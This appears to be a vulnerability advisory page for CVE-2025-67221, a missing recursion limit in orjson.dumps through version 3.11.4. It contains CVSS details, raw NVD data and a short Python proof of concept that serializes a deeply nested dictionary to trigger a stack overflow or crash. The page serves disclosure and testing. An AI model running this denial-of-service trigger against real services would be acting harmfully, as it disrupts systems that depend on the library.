Security Vulnerability Report
中文
CVE-2025-67221 CVSS 7.5 HIGH

CVE-2025-67221

Published: 2026-01-22 17:16:01
Last Modified: 2026-02-12 15:03:10

Description

The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ijl:orjson:*:*:*:*:*:python:*:* - VULNERABLE
orjson < 3.11.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import orjson import sys # PoC for CVE-2025-67221: Deep nested JSON recursion overflow # This PoC demonstrates the vulnerability by creating a deeply nested JSON structure def create_deeply_nested_json(depth): """Create a deeply nested JSON structure""" obj = {} current = obj for i in range(depth): current['nested'] = {} current = current['nested'] current['value'] = 'trigger' return obj def test_recursion_overflow(depth=1000): """Test orjson with deeply nested JSON""" print(f"[*] Testing orjson with depth={depth}") nested_json = create_deeply_nested_json(depth) try: # This may cause stack overflow or hang depending on depth result = orjson.dumps(nested_json) print(f"[!] Serialization succeeded (depth may not be sufficient)") except RecursionError: print(f"[!] RecursionError detected - vulnerability confirmed") except Exception as e: print(f"[!] Exception: {type(e).__name__} - {e}") if __name__ == "__main__": depth = int(sys.argv[1]) if len(sys.argv) > 1 else 500 test_recursion_overflow(depth)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67221", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:01.433", "lastModified": "2026-02-12T15:03:09.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents."}, {"lang": "es", "value": "La función orjson.dumps en orjson hasta la versión 3.11.4 no limita la recursión para documentos JSON profundamente anidados."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ijl:orjson:*:*:*:*:*:python:*:*", "versionEndIncluding": "3.11.4", "matchCriteriaId": "AE4A068F-9DE9-4487-A19A-4C41193323E3"}]}]}], "references": [{"url": "https://github.com/ijl/orjson", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/kpatsakis/orjson_vulnerability", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}